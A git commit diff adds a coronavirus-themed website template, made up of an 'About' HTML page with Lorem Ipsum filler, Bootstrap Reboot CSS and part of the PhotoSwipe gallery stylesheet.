new sites
This commit is contained in:
Eric Lay
parent
0aad74fe59
commit
5c3c307a57
|
|
@ -0,0 +1,195 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<!-- basic -->
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<!-- mobile metas -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
|
||||
<!-- site metas -->
|
||||
<script src="js/destruct.js"></script>
|
||||
<title>About</title>
|
||||
<meta name="keywords" content="">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
<!-- bootstrap css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
|
||||
<!-- style css -->
|
||||
<link rel="stylesheet" type="text/css" href="css/style.css">
|
||||
<!-- Responsive-->
|
||||
<link rel="stylesheet" href="css/responsive.css">
|
||||
<!-- fevicon -->
|
||||
<link rel="icon" href="images/fevicon.png" type="image/gif" />
|
||||
<!-- Scrollbar Custom CSS -->
|
||||
<link rel="stylesheet" href="css/jquery.mCustomScrollbar.min.css">
|
||||
<!-- Tweaks for older IEs-->
|
||||
<link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
|
||||
<!-- owl stylesheets -->
|
||||
<link rel="stylesheet" href="css/owl.carousel.min.css">
|
||||
<link rel="stylesheet" href="css/owl.theme.default.min.css">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.css" media="screen">
|
||||
</head>
|
||||
<body>
|
||||
<!--header section start -->
|
||||
<div class="header_section header_bg">
|
||||
<div class="container-fluid">
|
||||
<div class="main">
|
||||
<div class="logo"><a href="index.html"><img src="images/logo.png"></a></div>
|
||||
<div class="menu_text">
|
||||
<ul>
|
||||
<div class="togle_">
|
||||
<div class="menu_main">
|
||||
<ul>
|
||||
<li><a href="#">Login</a></li>
|
||||
<li><a href="#"><i class="fa fa-search" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div id="myNav" class="overlay">
|
||||
<a href="javascript:void(0)" class="closebtn" onclick="closeNav()">×</a>
|
||||
<div class="overlay-content">
|
||||
<a href="index.html">Home</a>
|
||||
<a href="protect.html">Protect</a>
|
||||
<a href="about.html">About</a>
|
||||
<a href="doctors.html">Doctors</a>
|
||||
<a href="news.html">News</a>
|
||||
</div>
|
||||
</div>
|
||||
<span class="navbar-toggler-icon"></span>
|
||||
<span onclick="openNav()"><img src="images/toogle-icon.png" class="toggle_menu"></span>
|
||||
<span onclick="openNav()"><img src="images/toogle-icon1.png" class="toggle_menu_1"></span>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- banner section start -->
|
||||
<div class="container">
|
||||
<div class="about_taital_main">
|
||||
<h2 class="about_tag">About Corona Virus</h2>
|
||||
<div class="about_menu">
|
||||
<ul>
|
||||
<li><a href="index.html">Home</a></li>
|
||||
<li>About</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- banner section end -->
|
||||
</div>
|
||||
<!-- header section end -->
|
||||
<!-- about section start -->
|
||||
<div class="about_section layout_padding">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-6">
|
||||
<div class="about_img"><img src="images/img-1.png"></div>
|
||||
</div>
|
||||
<div class="col-md-6">
|
||||
<h1 class="about_taital">Coronavirus what it is?</span></h1>
|
||||
<p class="about_text">when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using</p>
|
||||
<div class="read_bt"><a href="#">Read More</a></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- about section end -->
|
||||
<!-- footer section start -->
|
||||
<div class="footer_section layout_padding">
|
||||
<div class="container">
|
||||
<div class="footer_section_2">
|
||||
<div class="row">
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">Resources</h2>
|
||||
<div class="footer_menu">
|
||||
<ul>
|
||||
<li><a href="#">What we do</a></li>
|
||||
<li><a href="#">Media</a></li>
|
||||
<li><a href="#">Travel Advice</a></li>
|
||||
<li><a href="#">Protection</a></li>
|
||||
<li><a href="#">Care</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">About</h2>
|
||||
<p class="footer_text">Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text, and a search for 'lorem ipsum' will uncover many web sites still in their infancy. Various</p>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">Contact Us</h2>
|
||||
<div class="location_text">
|
||||
<ul>
|
||||
<li>
|
||||
<a href="#"><i class="fa fa-map-marker" aria-hidden="true"></i>
|
||||
<span class="padding_15">Location</span></a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="#"><i class="fa fa-phone" aria-hidden="true"></i>
|
||||
<span class="padding_15">Call +01 1234567890</span></a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="#"><i class="fa fa-envelope" aria-hidden="true"></i>
|
||||
<span class="padding_15">demo@gmail.com</span></a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-3 col-sm-6">
|
||||
<h2 class="useful_text">countrys</h2>
|
||||
<div class="map_image"><img src="images/map-bg.png"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- footer section end -->
|
||||
<!-- copyright section start -->
|
||||
<div class="copyright_section">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-sm-12">
|
||||
<p class="copyright_text">© 2020 All Rights Reserved.<a href="https://html.design"> Free html Templates</a></p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- copyright section end -->
|
||||
<!-- Javascript files-->
|
||||
<script src="js/jquery.min.js"></script>
|
||||
<script src="js/popper.min.js"></script>
|
||||
<script src="js/bootstrap.bundle.min.js"></script>
|
||||
<script src="js/jquery-3.0.0.min.js"></script>
|
||||
<script src="js/plugin.js"></script>
|
||||
<!-- sidebar -->
|
||||
<script src="js/jquery.mCustomScrollbar.concat.min.js"></script>
|
||||
<script src="js/custom.js"></script>
|
||||
<!-- javascript -->
|
||||
<script src="js/owl.carousel.js"></script>
|
||||
<script src="https:cdnjs.cloudflare.com/ajax/libs/fancybox/2.1.5/jquery.fancybox.min.js"></script>
|
||||
<script>
|
||||
$(document).ready(function(){
|
||||
$(".fancybox").fancybox({
|
||||
openEffect: "none",
|
||||
closeEffect: "none"
|
||||
});
|
||||
|
||||
$(".zoom").hover(function(){
|
||||
|
||||
$(this).addClass('transition');
|
||||
}, function(){
|
||||
|
||||
$(this).removeClass('transition');
|
||||
});
|
||||
});
|
||||
</script>
|
||||
<script>
|
||||
function openNav() {
|
||||
document.getElementById("myNav").style.width = "100%";
|
||||
}
|
||||
function closeNav() {
|
||||
document.getElementById("myNav").style.width = "0%";
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
|
@ -0,0 +1,330 @@
|
|||
/*!
|
||||
* Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)
|
||||
* Copyright 2011-2018 The Bootstrap Authors
|
||||
* Copyright 2011-2018 Twitter, Inc.
|
||||
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
|
||||
* Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)
|
||||
*/
|
||||
*,
|
||||
*::before,
|
||||
*::after {
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html {
|
||||
font-family: sans-serif;
|
||||
line-height: 1.15;
|
||||
-webkit-text-size-adjust: 100%;
|
||||
-ms-text-size-adjust: 100%;
|
||||
-ms-overflow-style: scrollbar;
|
||||
-webkit-tap-highlight-color: transparent;
|
||||
}
|
||||
|
||||
@-ms-viewport {
|
||||
width: device-width;
|
||||
}
|
||||
|
||||
article, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {
|
||||
display: block;
|
||||
}
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
|
||||
font-size: 1rem;
|
||||
font-weight: 400;
|
||||
line-height: 1.5;
|
||||
color: #212529;
|
||||
text-align: left;
|
||||
background-color: #fff;
|
||||
}
|
||||
|
||||
[tabindex="-1"]:focus {
|
||||
outline: 0 !important;
|
||||
}
|
||||
|
||||
hr {
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
h1, h2, h3, h4, h5, h6 {
|
||||
margin-top: 0;
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
p {
|
||||
margin-top: 0;
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
abbr[title],
|
||||
abbr[data-original-title] {
|
||||
text-decoration: underline;
|
||||
-webkit-text-decoration: underline dotted;
|
||||
text-decoration: underline dotted;
|
||||
cursor: help;
|
||||
border-bottom: 0;
|
||||
}
|
||||
|
||||
address {
|
||||
margin-bottom: 1rem;
|
||||
font-style: normal;
|
||||
line-height: inherit;
|
||||
}
|
||||
|
||||
ol,
|
||||
ul,
|
||||
dl {
|
||||
margin-top: 0;
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
ol ol,
|
||||
ul ul,
|
||||
ol ul,
|
||||
ul ol {
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
dt {
|
||||
font-weight: 700;
|
||||
}
|
||||
|
||||
dd {
|
||||
margin-bottom: .5rem;
|
||||
margin-left: 0;
|
||||
}
|
||||
|
||||
blockquote {
|
||||
margin: 0 0 1rem;
|
||||
}
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bolder;
|
||||
}
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
sub,
|
||||
sup {
|
||||
position: relative;
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -.25em;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -.5em;
|
||||
}
|
||||
|
||||
a {
|
||||
color: #007bff;
|
||||
text-decoration: none;
|
||||
background-color: transparent;
|
||||
-webkit-text-decoration-skip: objects;
|
||||
}
|
||||
|
||||
a:hover {
|
||||
color: #0056b3;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
a:not([href]):not([tabindex]) {
|
||||
color: inherit;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
a:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {
|
||||
color: inherit;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
a:not([href]):not([tabindex]):focus {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
pre,
|
||||
code,
|
||||
kbd,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
pre {
|
||||
margin-top: 0;
|
||||
margin-bottom: 1rem;
|
||||
overflow: auto;
|
||||
-ms-overflow-style: scrollbar;
|
||||
}
|
||||
|
||||
figure {
|
||||
margin: 0 0 1rem;
|
||||
}
|
||||
|
||||
img {
|
||||
vertical-align: middle;
|
||||
border-style: none;
|
||||
}
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
||||
}
|
||||
|
||||
caption {
|
||||
padding-top: 0.75rem;
|
||||
padding-bottom: 0.75rem;
|
||||
color: #6c757d;
|
||||
text-align: left;
|
||||
caption-side: bottom;
|
||||
}
|
||||
|
||||
th {
|
||||
text-align: inherit;
|
||||
}
|
||||
|
||||
label {
|
||||
display: inline-block;
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
button {
|
||||
border-radius: 0;
|
||||
}
|
||||
|
||||
button:focus {
|
||||
outline: 1px dotted;
|
||||
outline: 5px auto -webkit-focus-ring-color;
|
||||
}
|
||||
|
||||
input,
|
||||
button,
|
||||
select,
|
||||
optgroup,
|
||||
textarea {
|
||||
margin: 0;
|
||||
font-family: inherit;
|
||||
font-size: inherit;
|
||||
line-height: inherit;
|
||||
}
|
||||
|
||||
button,
|
||||
input {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
button,
|
||||
html [type="button"],
|
||||
[type="reset"],
|
||||
[type="submit"] {
|
||||
-webkit-appearance: button;
|
||||
}
|
||||
|
||||
button::-moz-focus-inner,
|
||||
[type="button"]::-moz-focus-inner,
|
||||
[type="reset"]::-moz-focus-inner,
|
||||
[type="submit"]::-moz-focus-inner {
|
||||
padding: 0;
|
||||
border-style: none;
|
||||
}
|
||||
|
||||
input[type="radio"],
|
||||
input[type="checkbox"] {
|
||||
box-sizing: border-box;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
input[type="date"],
|
||||
input[type="time"],
|
||||
input[type="datetime-local"],
|
||||
input[type="month"] {
|
||||
-webkit-appearance: listbox;
|
||||
}
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
resize: vertical;
|
||||
}
|
||||
|
||||
fieldset {
|
||||
min-width: 0;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
border: 0;
|
||||
}
|
||||
|
||||
legend {
|
||||
display: block;
|
||||
width: 100%;
|
||||
max-width: 100%;
|
||||
padding: 0;
|
||||
margin-bottom: .5rem;
|
||||
font-size: 1.5rem;
|
||||
line-height: inherit;
|
||||
color: inherit;
|
||||
white-space: normal;
|
||||
}
|
||||
|
||||
progress {
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
[type="number"]::-webkit-inner-spin-button,
|
||||
[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
[type="search"] {
|
||||
outline-offset: -2px;
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
[type="search"]::-webkit-search-cancel-button,
|
||||
[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
::-webkit-file-upload-button {
|
||||
font: inherit;
|
||||
-webkit-appearance: button;
|
||||
}
|
||||
|
||||
output {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
summary {
|
||||
display: list-item;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
[hidden] {
|
||||
display: none !important;
|
||||
}
|
||||
/*# sourceMappingURL=bootstrap-reboot.css.map */
|
||||
File diff suppressed because one or more lines are too long
|
|
@ -0,0 +1,8 @@
|
|||
/*!
|
||||
* Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)
|
||||
* Copyright 2011-2018 The Bootstrap Authors
|
||||
* Copyright 2011-2018 Twitter, Inc.
|
||||
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
|
||||
* Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)
|
||||
*/*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}
|
||||
/*# sourceMappingURL=bootstrap-reboot.min.css.map */
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
|
@ -0,0 +1,614 @@
|
|||
/*! PhotoSwipe Default UI CSS by Dmitry Semenov | photoswipe.com | MIT license */
|
||||
/*
|
||||
Contents:
|
||||
1. Buttons
|
||||
2. Share modal and links
|
||||
3. Index indicator ("1 of X" counter)
|
||||
4. Caption
|
||||
5. Loading indicator
|
||||
6. Additional styles (root element, top bar, idle state, hidden state, etc.)
|
||||
*/
|
||||
/* 1. Buttons */
|
||||
|
||||
/* <button> css reset */
|
||||
|
||||
.pswp__button {
|
||||
width: 44px;
|
||||
height: 44px;
|
||||
position: relative;
|
||||
background: none;
|
||||
cursor: pointer;
|
||||
overflow: visible;
|
||||
-webkit-appearance: none;
|
||||
display: block;
|
||||
border: 0;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
float: right;
|
||||
opacity: 0.75;
|
||||
-webkit-transition: opacity 0.2s;
|
||||
transition: opacity 0.2s;
|
||||
-webkit-box-shadow: none;
|
||||
box-shadow: none;
|
||||
}
|
||||
|
||||
.pswp__button:focus,
|
||||
.pswp__button:hover {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.pswp__button:active {
|
||||
outline: none;
|
||||
opacity: 0.9;
|
||||
}
|
||||
|
||||
.pswp__button::-moz-focus-inner {
|
||||
padding: 0;
|
||||
border: 0;
|
||||
}
|
||||
|
||||
|
||||
/* pswp__ui--over-close class it added when mouse is over element that should close gallery */
|
||||
|
||||
.pswp__ui--over-close .pswp__button--close {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.pswp__button,
|
||||
.pswp__button--arrow--left:before,
|
||||
.pswp__button--arrow--right:before {
|
||||
background: url(default-skin.png) 0 0 no-repeat;
|
||||
background-size: 264px 88px;
|
||||
width: 44px;
|
||||
height: 44px;
|
||||
}
|
||||
|
||||
@media (-webkit-min-device-pixel-ratio: 1.1),
|
||||
(-webkit-min-device-pixel-ratio: 1.09375),
|
||||
(min-resolution: 105dpi),
|
||||
(min-resolution: 1.1dppx) {
|
||||
/* Serve SVG sprite if browser supports SVG and resolution is more than 105dpi */
|
||||
.pswp--svg .pswp__button,
|
||||
.pswp--svg .pswp__button--arrow--left:before,
|
||||
.pswp--svg .pswp__button--arrow--right:before {
|
||||
background-image: url(default-skin.svg);
|
||||
}
|
||||
.pswp--svg .pswp__button--arrow--left,
|
||||
.pswp--svg .pswp__button--arrow--right {
|
||||
background: none;
|
||||
}
|
||||
}
|
||||
|
||||
.pswp__button--close {
|
||||
background-position: 0 -44px;
|
||||
}
|
||||
|
||||
.pswp__button--share {
|
||||
background-position: -44px -44px;
|
||||
}
|
||||
|
||||
.pswp__button--fs {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.pswp--supports-fs .pswp__button--fs {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.pswp--fs .pswp__button--fs {
|
||||
background-position: -44px 0;
|
||||
}
|
||||
|
||||
.pswp__button--zoom {
|
||||
display: none;
|
||||
background-position: -88px 0;
|
||||
}
|
||||
|
||||
.pswp--zoom-allowed .pswp__button--zoom {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.pswp--zoomed-in .pswp__button--zoom {
|
||||
background-position: -132px 0;
|
||||
}
|
||||
|
||||
|
||||
/* no arrows on touch screens */
|
||||
|
||||
.pswp--touch .pswp__button--arrow--left,
|
||||
.pswp--touch .pswp__button--arrow--right {
|
||||
visibility: hidden;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
Arrow buttons hit area
|
||||
(icon is added to :before pseudo-element)
|
||||
*/
|
||||
|
||||
.pswp__button--arrow--left,
|
||||
.pswp__button--arrow--right {
|
||||
background: none;
|
||||
top: 50%;
|
||||
margin-top: -50px;
|
||||
width: 70px;
|
||||
height: 100px;
|
||||
position: absolute;
|
||||
}
|
||||
|
||||
.pswp__button--arrow--left {
|
||||
left: 0;
|
||||
}
|
||||
|
||||
.pswp__button--arrow--right {
|
||||
right: 0;
|
||||
}
|
||||
|
||||
.pswp__button--arrow--left:before,
|
||||
.pswp__button--arrow--right:before {
|
||||
content: '';
|
||||
top: 35px;
|
||||
background-color: rgba(0, 0, 0, 0.3);
|
||||
height: 30px;
|
||||
width: 32px;
|
||||
position: absolute;
|
||||
}
|
||||
|
||||
.pswp__button--arrow--left:before {
|
||||
left: 6px;
|
||||
background-position: -138px -44px;
|
||||
}
|
||||
|
||||
.pswp__button--arrow--right:before {
|
||||
right: 6px;
|
||||
background-position: -94px -44px;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
2. Share modal/popup and links
|
||||
|
||||
*/
|
||||
|
||||
.pswp__counter,
|
||||
.pswp__share-modal {
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
.pswp__share-modal {
|
||||
display: block;
|
||||
background: rgba(0, 0, 0, 0.5);
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
top: 0;
|
||||
left: 0;
|
||||
padding: 10px;
|
||||
position: absolute;
|
||||
z-index: 1600;
|
||||
opacity: 0;
|
||||
-webkit-transition: opacity 0.25s ease-out;
|
||||
transition: opacity 0.25s ease-out;
|
||||
-webkit-backface-visibility: hidden;
|
||||
will-change: opacity;
|
||||
}
|
||||
|
||||
.pswp__share-modal--hidden {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.pswp__share-tooltip {
|
||||
z-index: 1620;
|
||||
position: absolute;
|
||||
background: #FFF;
|
||||
top: 56px;
|
||||
border-radius: 2px;
|
||||
display: block;
|
||||
width: auto;
|
||||
right: 44px;
|
||||
-webkit-box-shadow: 0 2px 5px rgba(0, 0, 0, 0.25);
|
||||
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.25);
|
||||
-webkit-transform: translateY(6px);
|
||||
-ms-transform: translateY(6px);
|
||||
transform: translateY(6px);
|
||||
-webkit-transition: -webkit-transform 0.25s;
|
||||
transition: transform 0.25s;
|
||||
-webkit-backface-visibility: hidden;
|
||||
will-change: transform;
|
||||
}
|
||||
|
||||
.pswp__share-tooltip a {
|
||||
display: block;
|
||||
padding: 8px 12px;
|
||||
color: #000;
|
||||
text-decoration: none;
|
||||
font-size: 14px;
|
||||
line-height: 18px;
|
||||
}
|
||||
|
||||
.pswp__share-tooltip a:hover {
|
||||
text-decoration: none;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
.pswp__share-tooltip a:first-child {
|
||||
/* round corners on the first/last list item */
|
||||
border-radius: 2px 2px 0 0;
|
||||
}
|
||||
|
||||
.pswp__share-tooltip a:last-child {
|
||||
border-radius: 0 0 2px 2px;
|
||||
}
|
||||
|
||||
.pswp__share-modal--fade-in {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.pswp__share-modal--fade-in .pswp__share-tooltip {
|
||||
-webkit-transform: translateY(0);
|
||||
-ms-transform: translateY(0);
|
||||
transform: translateY(0);
|
||||
}
|
||||
|
||||
|
||||
/* increase size of share links on touch devices */
|
||||
|
||||
.pswp--touch .pswp__share-tooltip a {
|
||||
padding: 16px 12px;
|
||||
}
|
||||
|
||||
a.pswp__share--facebook:before {
|
||||
content: '';
|
||||
display: block;
|
||||
width: 0;
|
||||
height: 0;
|
||||
position: absolute;
|
||||
top: -12px;
|
||||
right: 15px;
|
||||
border: 6px solid transparent;
|
||||
border-bottom-color: #FFF;
|
||||
-webkit-pointer-events: none;
|
||||
-moz-pointer-events: none;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
a.pswp__share--facebook:hover {
|
||||
background: #3E5C9A;
|
||||
color: #FFF;
|
||||
}
|
||||
|
||||
a.pswp__share--facebook:hover:before {
|
||||
border-bottom-color: #3E5C9A;
|
||||
}
|
||||
|
||||
a.pswp__share--twitter:hover {
|
||||
background: #55ACEE;
|
||||
color: #FFF;
|
||||
}
|
||||
|
||||
a.pswp__share--pinterest:hover {
|
||||
background: #CCC;
|
||||
color: #CE272D;
|
||||
}
|
||||
|
||||
a.pswp__share--download:hover {
|
||||
background: #DDD;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
3. Index indicator ("1 of X" counter)
|
||||
|
||||
*/
|
||||
|
||||
.pswp__counter {
|
||||
position: absolute;
|
||||
left: 0;
|
||||
top: 0;
|
||||
height: 44px;
|
||||
font-size: 13px;
|
||||
line-height: 44px;
|
||||
color: #FFF;
|
||||
opacity: 0.75;
|
||||
padding: 0 10px;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
4. Caption
|
||||
|
||||
*/
|
||||
|
||||
.pswp__caption {
|
||||
position: absolute;
|
||||
left: 0;
|
||||
bottom: 0;
|
||||
width: 100%;
|
||||
min-height: 44px;
|
||||
}
|
||||
|
||||
.pswp__caption small {
|
||||
font-size: 11px;
|
||||
color: #BBB;
|
||||
}
|
||||
|
||||
.pswp__caption__center {
|
||||
text-align: left;
|
||||
max-width: 420px;
|
||||
margin: 0 auto;
|
||||
font-size: 13px;
|
||||
padding: 10px;
|
||||
line-height: 20px;
|
||||
color: #CCC;
|
||||
}
|
||||
|
||||
.pswp__caption--empty {
|
||||
display: none;
|
||||
}
|
||||
|
||||
|
||||
/* Fake caption element, used to calculate height of next/prev image */
|
||||
|
||||
.pswp__caption--fake {
|
||||
visibility: hidden;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
5. Loading indicator (preloader)
|
||||
|
||||
You can play with it here - http://codepen.io/dimsemenov/pen/yyBWoR
|
||||
|
||||
*/
|
||||
|
||||
.pswp__preloader {
|
||||
width: 44px;
|
||||
height: 44px;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 50%;
|
||||
margin-left: -22px;
|
||||
opacity: 0;
|
||||
-webkit-transition: opacity 0.25s ease-out;
|
||||
transition: opacity 0.25s ease-out;
|
||||
will-change: opacity;
|
||||
direction: ltr;
|
||||
}
|
||||
|
||||
.pswp__preloader__icn {
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
margin: 12px;
|
||||
}
|
||||
|
||||
.pswp__preloader--active {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.pswp__preloader--active .pswp__preloader__icn {
|
||||
/* We use .gif in browsers that don't support CSS animation */
|
||||
background: url(preloader.gif) 0 0 no-repeat;
|
||||
}
|
||||
|
||||
.pswp--css_animation .pswp__preloader--active {
|
||||
opacity: 1;
|
||||
